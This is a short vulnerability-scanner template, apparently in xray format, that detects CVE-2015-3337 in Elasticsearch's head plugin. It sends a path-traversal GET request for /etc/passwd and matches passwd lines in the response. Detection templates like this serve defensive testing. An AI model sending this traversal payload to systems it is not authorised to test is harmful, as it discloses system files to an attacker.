CVE-2015-3337: Elasticsearch File Read

id: CVE-2015-3337

info:
  name: Elasticsearch File Read
  author: X.Yang
  severity: medium
  description: |-
    Elasticsearch before 1.4.4 allows remote attackers to read arbitrary files via a crafted request to the head plugin.
  reference:
    - https://www.elastic.co/community/security
    - https://nvd.nist.gov/vuln/detail/CVE-2015-3337
  tags: cve,cve2015,elasticsearch,fileread
  created: 2023/07/13

rules:
  r0:
    request:
      method: GET
      path: /_plugin/head/../../../../../../../../../../../../../../../../etc/passwd
    expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0()